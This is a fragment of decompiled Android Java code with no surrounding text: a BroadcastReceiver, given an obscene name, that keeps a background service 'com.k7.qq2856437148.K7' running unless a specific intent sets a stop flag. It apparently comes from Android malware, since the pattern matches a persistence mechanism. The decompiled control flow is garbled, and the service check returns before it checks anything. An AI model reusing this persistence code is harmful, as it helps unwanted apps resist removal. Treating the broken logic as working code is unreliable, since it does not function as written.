public
class
fuck
extends
BroadcastReceiver
{
SharedPreferences share;
public
static
boolean
isServiceRun(Context paramContext, String paramString)
{
boolean
bool =
false
;
paramContext = ((ActivityManager)paramContext.getSystemService(
"activity"
)).getRunningServices(
40
);
int
j = paramContext.size();
int
i =
0
;
if
(i >= j) {}
for
(;;)
{
return
bool;
if
(!((ActivityManager.RunningServiceInfo)paramContext.get(i)).service.getClassName().equals(paramString))
{
i +=
1
;
break
;
}
bool =
true
;
}
}
@Override
public
void
onReceive(Context paramContext, Intent paramIntent)
{
this
.share = paramContext.getSharedPreferences(
"xs"
,
0
);
if
(
"com.qq2856437148"
.equals(paramIntent.getAction()))
{
this
.share.edit().putBoolean(
"jc"
,
true
).commit();
return
;
}
if
((!
this
.share.getBoolean(
"jc"
,
false
)) && (!isServiceRun(paramContext,
"com.qq2856437148"
))) {}
try
{
paramIntent = Class.forName(
"com.k7.qq2856437148.K7"
);
paramIntent =
new
Intent(paramContext, paramIntent);
paramIntent.addFlags(
268435456
);
paramContext.startService(paramIntent);
return
;
}
catch
(ClassNotFoundException paramContext)
{
throw
new
NoClassDefFoundError(paramContext.getMessage());
}
}